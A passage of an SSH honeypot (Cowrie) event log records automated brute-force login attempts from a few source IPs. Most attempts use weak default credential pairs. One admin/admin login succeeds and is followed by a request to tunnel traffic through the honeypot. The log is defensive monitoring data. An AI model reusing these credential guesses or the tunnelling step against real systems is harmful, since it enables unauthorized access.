tr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:06.207466Z","src_ip":"45.156.87.147","session":"991bbcfff31a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:06.518628Z","src_ip":"45.156.87.147","session":"991bbcfff31a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:07.605561Z","src_ip":"45.156.87.147","session":"991bbcfff31a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.28864550590515,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:09.707905Z","src_ip":"128.199.8.54","session":"0d1c7024d86c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36224,"dst_ip":"10.17.0.5","dst_port":22,"session":"57399614ef3c","protocol":"ssh","message":"New connection: 45.156.87.147:36224 (10.17.0.5:22) [session: 57399614ef3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:11.542972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:11.546883Z","src_ip":"45.156.87.147","session":"57399614ef3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:11.631215Z","src_ip":"45.156.87.147","session":"57399614ef3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"root","message":"login attempt [azureuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:11.885953Z","src_ip":"45.156.87.147","session":"57399614ef3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:12.968572Z","src_ip":"45.156.87.147","session":"57399614ef3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36236,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eecbcd873ee","protocol":"ssh","message":"New connection: 45.156.87.147:36236 (10.17.0.5:22) [session: 8eecbcd873ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:17.416605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:17.420519Z","src_ip":"45.156.87.147","session":"8eecbcd873ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:17.501442Z","src_ip":"45.156.87.147","session":"8eecbcd873ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:17.748448Z","src_ip":"45.156.87.147","session":"8eecbcd873ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:18.874716Z","src_ip":"45.156.87.147","session":"8eecbcd873ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38356,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bc7e4064826","protocol":"ssh","message":"New connection: 45.156.87.147:38356 (10.17.0.5:22) [session: 9bc7e4064826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:23.109546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:23.113522Z","src_ip":"45.156.87.147","session":"9bc7e4064826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:23.195349Z","src_ip":"45.156.87.147","session":"9bc7e4064826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:23.459245Z","src_ip":"45.156.87.147","session":"9bc7e4064826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:24.544469Z","src_ip":"45.156.87.147","session":"9bc7e4064826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38370,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d1dd43d42f","protocol":"ssh","message":"New connection: 45.156.87.147:38370 (10.17.0.5:22) [session: f6d1dd43d42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:29.097870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:29.101552Z","src_ip":"45.156.87.147","session":"f6d1dd43d42f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:29.187522Z","src_ip":"45.156.87.147","session":"f6d1dd43d42f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1","message":"login attempt [test3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:29.547843Z","src_ip":"45.156.87.147","session":"f6d1dd43d42f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:30.639353Z","src_ip":"45.156.87.147","session":"f6d1dd43d42f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46118,"dst_ip":"10.17.0.5","dst_port":22,"session":"040414c325d2","protocol":"ssh","message":"New connection: 45.156.87.147:46118 (10.17.0.5:22) [session: 040414c325d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:35.301698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:35.304689Z","src_ip":"45.156.87.147","session":"040414c325d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:35.388601Z","src_ip":"45.156.87.147","session":"040414c325d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:35.637558Z","src_ip":"45.156.87.147","session":"040414c325d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:36.723723Z","src_ip":"45.156.87.147","session":"040414c325d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45824,"dst_ip":"10.17.0.5","dst_port":22,"session":"116d42caf02b","protocol":"ssh","message":"New connection: 45.156.87.147:45824 (10.17.0.5:22) [session: 116d42caf02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:41.648719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:41.653370Z","src_ip":"45.156.87.147","session":"116d42caf02b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:41.741974Z","src_ip":"45.156.87.147","session":"116d42caf02b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:42.067504Z","src_ip":"45.156.87.147","session":"116d42caf02b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:43.152283Z","src_ip":"45.156.87.147","session":"116d42caf02b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":49128,"dst_ip":"10.17.0.5","dst_port":22,"session":"932c626730d7","protocol":"ssh","message":"New connection: 8.219.200.1:49128 (10.17.0.5:22) [session: 932c626730d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:43.328928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:43.333825Z","src_ip":"8.219.200.1","session":"932c626730d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:43.571226Z","src_ip":"8.219.200.1","session":"932c626730d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12894,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dab047410a2","protocol":"ssh","message":"New connection: 87.251.64.176:12894 (10.17.0.5:22) [session: 0dab047410a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:44.238574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:44.241728Z","src_ip":"87.251.64.176","session":"0dab047410a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:44.324085Z","src_ip":"8.219.200.1","session":"932c626730d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:44.336066Z","src_ip":"87.251.64.176","session":"0dab047410a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:44.621015Z","src_ip":"87.251.64.176","session":"0dab047410a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:44.717465Z","session":"0dab047410a2","protocol":"ssh"}
